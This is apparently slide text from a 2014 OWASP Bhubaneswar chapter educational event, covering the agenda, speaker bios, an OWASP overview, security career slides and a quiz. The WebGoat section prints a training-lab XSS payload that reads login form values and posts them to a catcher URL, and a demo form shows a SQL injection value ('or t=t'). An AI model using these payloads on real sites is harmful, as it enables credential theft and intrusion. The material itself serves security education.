<table>
<thead>
<tr>
<th>Time (PM)</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>01:15-01:45</td>
<td>Arrival, Registration and Coffee</td>
</tr>
<tr>
<td>01:45-02:00</td>
<td>Inaugural Address by Jibitesh Mishra HOD IT Dept. CET Bhubaneswar</td>
</tr>
<tr>
<td>02:01-02:30</td>
<td>Welcome note &amp; Introduction to OWASP : Somen Das, OWASP BBSR Chapter Lead</td>
</tr>
<tr>
<td>02:31-03:00</td>
<td>Security as a Career Path : Srimant Acharya, Co-Chapter Leader OWASP BBSR and Sr. Security Consultant (TCS)</td>
</tr>
<tr>
<td>03:01-03:20</td>
<td>Break; Coffee &amp; Snacks</td>
</tr>
<tr>
<td>03:21-04:30</td>
<td>Hacking Web, Demo by Jyoti Acharya &amp; Ajit Meher, Security Analyst(TCS)</td>
</tr>
<tr>
<td>04:30-04:45</td>
<td>Security Quiz (OWASP Goodies for Winners)</td>
</tr>
<tr>
<td>04:45-05:00</td>
<td>Thank you, closing notes, how to become a sponsor for OWASP meetings &amp; Venue announcement for next get together</td>
</tr>
</tbody>
</table>

**Coming Soon**

- Workshop: Hackademic
About Jibitesh

• Head of Department IT

• Works with College of Engineer & Technology Bhubaneswar

• OWASP Leaders:
  – Event & Venue Coordinator, OWASP Bhubaneswar Chapter

• Core interests:
  – Academic Education in Secure Software Development
Web Application Security Educational Program

with

OWASP
The Open Web Application Security Project

BHUBANESWAR CHAPTER
https://www.owasp.org/index.php/Bhubaneswar

28th Feb 2014
About Somen

- Software / Web application security Consultant
- Works with Tata Consultancy Services Ltd.
- OWASP Leader:
  - Leader, OWASP Bhubaneswar Chapter
- Core interests:
  - Software Security Assurance
  - Ethical Hacking
The problem?

There are not enough qualified application security professionals

What can we do about it?

• Make application security visible
• Provide Developers and Software Testers with materials and tools helping them to build more secure applications
What is OWASP?

- **Open Web Application Security Project**
  
  [https://www.owasp.org](https://www.owasp.org)

- Global community, driving and promoting safety and security of world’s software

- Not-for-profit foundation registered in the United States and a non-profit association registered in European Union

- Open:
  
  - Everyone is free to participate
  
  - All OWASP materials & tools are free
• 12 years of community service
• 88+ Government & Industry Citations
  – including DHS, ISO, IEEE, NIST, SANS Institute, PCI-DSS, CSA, etc
• 36,000+ registered members to the mailing lists
• 320,000+ unique visitors per month
• 1,000,000+ page viewed per month
• 15,000+ tools and documents downloaded each month
• 198 Active Chapters
OWASP has been selected as an official Google Summer of Code ("GSoC") mentoring organization in 2013!

OWASP by the Numbers (cont)

- Year 2013 Budget: **USD$580,000**
- 2081 individual members and honorary members
- 70 countries
- 60+ donating Corporate Members
- 100+ supporting Academic Members
- 168 Active Projects
- 4 Global AppSec Conferences per Year

**How Google Summer of Code Works**

1. **Propose a project** for approval by a mentoring open source organization
2. **Code the summer away**
3. **Achieve Ultimate Glory** (and get a nice paycheck)

Google Summer of Code is a global program that offers students stipends to write code for open source projects. We have worked with the open source community to identify and fund exciting projects for the upcoming summer.

**Web Application Security People of the Year Awards**
2012 OWASP Foundation Income Sources

- Corporate Membership: 40.60%
- Global AppSec Events: 12.60%
- Individual Membership: 35.70%
- Local & Regional Events: 6.50%
- Advertising Revenue: 3%
- Others: 1.60%

2012 OWASP Foundation Expenses

- Payroll: 44%
- Operational Costs: 14.1%
- Travel: 11.5%
- Conferences & Outreach: 11.2%
- Projects: 8.9%
- Chapters: 5.4%
- Marketing & Communications: 4.7%
- Education: 3.9%
- Membership: 3.3%
- Other: 1.2%
• 168+ Active Projects

• **DETECT**
  – find security-related design and implementation flaws.

• **PROTECT**
  – guard against security-related design and implementation flaws.

• **LIFE CYCLE**
  – add security-related activities into software processes (eg. SDLC, agile, etc)
OWASP Projects & Tools – An Overview

DETECT
- OWASP Top 10
- OWASP Code Review Guide
- OWASP Testing Guide
- OWASP Cheat Sheet Series

PROTECT
- OWASP ESAPI
- OWASP ModSecurity CRS

LIFE CYCLE
- WebGoat J2EE
- WebGoat .NET

Full list of projects (release, beta, alpha)
http://www.owasp.org/index.php/Category:OWASP_Project
10 Most critical web application security risks

• The most visible OWASP project
• Classifies some of the most critical risks
• Essential reading for anyone developing web applications
• Referenced by standards, books, tools, and organizations, including MITRE, PCI DSS, FTC, and many more
https://www.owasp.org/index.php/OWASP_Appsec_Tutorial_Series

- Application security video based training
- Four episodes are available
• Make application security tools and documentation easily available

• Collects some of the best open source security projects in a single environment

• Boot from this Live CD and have access to a full security testing suite

http://appseclive.org/
• A list for introductory questions on application security

Open access:
https://lists.owasp.org/mailman/listinfo/security101
https://lists.owasp.org/mailman/listinfo/owasp-Bhubaneswar
• Deliberately insecure web application to teach web application security lessons

• Over 30 lessons, providing hands-on learning about
  – Cross-Site Scripting (XSS)
  – Access Control
  – Blind/Numeric/String SQL Injection
  – Web Services
  – ... and many more

Phishing with XSS - Microsoft Internet Explorer

You need to create the hack() function. This function will pull the credentials from the webpage and post them to the WebGoat catchser servlet.

Some useful code snippets:
- $document.forms[0].user.value - will access the user field
- $xssimage = new Image(); $xssimage.src = 'SOME_URL' - will perform a post
- Javascript string concatenation uses a '+'

Solution for this hint:
```
password/script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen. User Name = " + $document.forms[0].user.value + " Password = " + $document.forms[0].pass.value) ; $xssimage = new Image(); $xssimage.src = "http://localhost/WebGoat/catcher?PROPERTY=yes&user=\" + $document.forms[0].user.value + "&password=\" + $document.forms[0].pass.value + \";
```

This lesson is an example of how a website might support a phishing attack.

Below is an example of a standard search feature. Using XSS and HTML insertion, your goal is to:
- Insert html to that requests credentials
- Add javascript to actually collect the credentials
- Post the credentials to http://localhost/WebGoat/catcher?PROPERTY=yes...

To pass this lesson, the credentials must be posted to the catchser servlet.
WebGoat: .NET

A purposefully broken ASP .NET web application
Contains many common vulnerabilities
Intended for use in classroom environments


MAILING LIST

Join our mailing list, and we'll send you updates on our fantastic deals!

First Name: 
Last Name: 
Email: jerry@owasp.org or "t"="t"

Add Me To The List!

You are already on the list!

FirstName: Grace
LastName: Mclean
Email: aaa@bbb.com

FirstName: Amelia
LastName: Gutierrez
Email: Etiam.ligula@nequeot.com

FirstName: Scott
<table>
<thead>
<tr>
<th>Time (PM)</th>
<th>Event Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>01:15-01:45</td>
<td>Arrival, Registration and Coffee</td>
</tr>
<tr>
<td>01:45-02:00</td>
<td>Inaugural Address by Jibitesh Mishra HOD IT Dept. CET Bhubaneswar</td>
</tr>
<tr>
<td>02:01-02:30</td>
<td>Welcome note &amp; Introduction to OWASP : Somen Das, OWASP BBSR Chapter Lead</td>
</tr>
<tr>
<td>02:31-03:00</td>
<td>Security as a Career Path : Srimant Acharya, Co-Chapter Leader OWASP BBSR and Sr. Security Consultant (TCS)</td>
</tr>
<tr>
<td>03:01-03:20</td>
<td>Break; Coffee &amp; Snacks</td>
</tr>
<tr>
<td>03:21-04:30</td>
<td>Hacking Web, Demo by Jyoti Acharya &amp; Ajit Meher, Security Analyst(TCS)</td>
</tr>
<tr>
<td>04:30-04:45</td>
<td>Security Quiz (OWASP Goodies for Winners)</td>
</tr>
<tr>
<td>04:45-05:00</td>
<td>Thank you, closing notes, how to become a sponsor for OWASP meetings &amp; Venue announcement for next get together</td>
</tr>
<tr>
<td><strong>Coming Soon</strong></td>
<td><strong>Workshop: Hackademic</strong></td>
</tr>
</tbody>
</table>
Security as a Career
by
Srimant Acharya
About Srimant

- Software / Web application security Consultant
- Works with Tata Consultancy Services Ltd.
- OWASP Leader:
  - Co-Leader, OWASP Bhubaneswar Chapter
- Core interests:
  - Software Security Assurance
  - Enterprise Vulnerability Management
Bankers

Lawyers

Politicians

Sultan of Brunei

Lalu Yadav

Security Consultants

Who can afford this?
Despite a global recession, there are more than 2.25 million information security professionals in the world and by 2015 that amount will need to double in order to fill the job demand!

The Systems Security Certified Practitioner (SSCP) certification from (ISC)² is one of the most well-regarded, entry-level certifications in the industry.

According to Certification Magazine's 2009 Salary Survey, the average annual salary for a SSCP is $97,860.

All you need to earn your SSCP certification is one years' field experience in one of the following domains:

- Access Controls
- Security Operations and Administration
- Monitoring and Analysis
- Risk, Response and Recovery
- Cryptography
- Networks and Communications
- Malicious Code and Activity
The Open Web Application Security Project

SSCP* → CISSP*

Network Security Engineer
Systems Security Analyst
Security Administrator

Security Consultant
Security Manager
IT Director Manager

CISSP*
ISSAP

System and Network Designer

CISSP*
ISSP*

Senior System Engineer

CISSP*
ISSMP

Chief Information Security Officer

(ISC)²
Non-profit

The International Information Systems Security Certification Consortium is a non-profit organization which specializes in information security education and certifications. It has been described as "world's largest IT security organization". [Wikipedia]

Founded: 1988

https://www.isc2.org/
The 20 Coolest Jobs in Information Security

- #1 Information Security Crime Investigator/Forensics Expert
- #2 System, Network, and/or Web Penetration Tester
- #3 Forensic Analyst
- #4 Incident Responder
- #5 Security Architect
- #6 Malware Analyst
- #7 Network Security Engineer
- #8 Security Analyst
- #9 Computer Crime Investigator
- #10 CISO/CSO or Director of Security
- #11 Application Penetration Tester
- #12 Security Operations Center Analyst
- #13 Prosecutor Specializing in Information Security Crime
- #14 Technical Director and Deputy CISO
- #15 Intrusion Analyst
- #16 Vulnerability Researcher/Exploit Developer
- #17 Security Auditor
- #18 Security-savvy Software Developer
- #19 Security Maven in an Application Developer Organization
- #20 Disaster Recovery/Business Continuity Analyst/Manager
Career as Security freelancer and minting up bug bounty
Career in top service providing companies
Career in security providing product based companies
Career in mobile Application security
Career in ethical hacking training and learning

Career with TCS as security analyst:

- Leading Edge Technologies
- High Growth potential and growing market place
- Fast learning and ability to contribute
- Career diversity and commitment to security
Keen observation – When last you followed a line of Ants?

Read between lines – Do you finish books early?

Login Control Fetish – You can’t control yourself!

Databases are hidden treasures – or boring?

Credit Card authentication – Virtual Money?

Authorization – I’m super admin!
Information Security Analyst Salary (India)

The average pay for an Information Security Analyst is Rs 416,917 per year. Most people with this job move on to other positions after 10 years in this career. The highest paying skills associated with this job are Security Risk Management and IT Security & Infrastructure.

MEDIAN: Rs 416,917

National Salary Data (India)

<table>
<thead>
<tr>
<th>Salary</th>
<th>Rs 0</th>
<th>Rs 300K</th>
<th>Rs 600K</th>
<th>Rs 900K</th>
</tr>
</thead>
<tbody>
<tr>
<td>Rs 177,730</td>
<td>Rs 858,868</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Bonus</td>
<td>Rs 0.00</td>
<td>Rs 77,147</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Profit Sharing</td>
<td>Rs 0.00</td>
<td>Rs 64,429</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Total Pay</td>
<td>Rs 184,818</td>
<td>Rs 889,559</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Country: India | Currency: INR | Updated: 27 Feb 2014 | Individuals Reporting: 319
You can easily afford this.
BREAK
<table>
<thead>
<tr>
<th>Time (PM)</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>01:15-01:45</td>
<td>Web Application Security Education Program</td>
</tr>
<tr>
<td>01:45-02:00</td>
<td>Arrival, Registration and Coffee</td>
</tr>
<tr>
<td>01:45-02:30</td>
<td>Inaugural Address by Jibitesh Mishra HOD IT Dept. CET Bhubaneswar</td>
</tr>
<tr>
<td>02:01-02:30</td>
<td>Welcome note &amp; Introduction to OWASP : Somen Das, OWASP BBSR Chapter Lead</td>
</tr>
<tr>
<td>02:31-03:00</td>
<td>Security as a Career Path : Srimant Acharya, Co-Chapter Leader OWASP BBSR and Sr. Security Consultant (TCS)</td>
</tr>
<tr>
<td>03:01-03:20</td>
<td>Break; Coffee &amp; Snacks</td>
</tr>
<tr>
<td>03:21-04:30</td>
<td>Hacking Web, Demo by Jyoti Acharya &amp; Ajit Meher, Security Analyst(TCS)</td>
</tr>
<tr>
<td>04:30-04:45</td>
<td>Security Quiz (OWASP Goodies for Winners)</td>
</tr>
<tr>
<td>04:45-05:00</td>
<td>Thank you, closing notes, how to become a sponsor for OWASP meetings &amp; Venue announcement for next get together</td>
</tr>
<tr>
<td><strong>Coming Soon</strong></td>
<td><strong>Workshop: Hackademic</strong></td>
</tr>
</tbody>
</table>
Live Demo
by
Jyoti Acharya & Ajit Meher
About Jyoti & Ajit

- Software / Web application security Analyst
- Works with Tata Consultancy Services Ltd.
- OWASP Volunteer:
  - Volunteer, OWASP Bhubaneswar Chapter
- Core interests:
  - Penetration Testing
  - Ethical Hacking
!!Quiz!!

with

OWASP
The Open Web Application Security Project

BHUBANESWAR CHAPTER
https://www.owasp.org/index.php/Bhubaneswar

28th Feb 2014
Question 1

OWASP started in the year of

A. 2000
B. 2001
C. 2002
D. 2003
Tools and project of OWASP are classified as

A. PROTECT, ADOPT, IMPLEMENTATION
B. DETECT, PROTECT, ADOPT
C. PROTECT, IMPLEMENTATION, DETECT
D. DETECT, PROTECT, LIFE CYCLE
Find out the vulnerability listed in OWASP 2013

A. Injection

B. Buffer Overflow

C. Memory Corruption

D. Exception
Acronym of OWASP is
A. Open Web Application Security Program
B. Open Web Application Security Project
C. Online Web Application Security Program
D. Online Web Application Security Project
Select the project which is coming under OWASP

A. WebGoat ✓
B. Tamper Data
C. Web Developer
D. Cross site scripting
Question 6

Who all can join OWASP

A. Security Analyst
B. Application Developer
C. Program Manager
D. All of the above ⚡
OWASP is associated with ___ number of countries.

A. 40
B. 50
C. 60
D. 70
Which protocol is most secure.

A. HTTP
B. HTTPS
C. UDP
D. FTP
Encryption is a process of converting.

A. Cipher Text $\rightarrow$ Plain Text

B. RAW Text $\rightarrow$ Plain Text

C. Plain Text $\rightarrow$ Cipher Text

D. Rich Text $\rightarrow$ RAW Text
The person who checks the application without any knowledge about it, is called as

A. Blue Hat
B. Grey Hat
C. White hat
D. Black Hat
if you need inspiration:
Where/How do we start using OWASP?
How can we help OWASP in return?
Can you tell us more about project ______?
Thank You!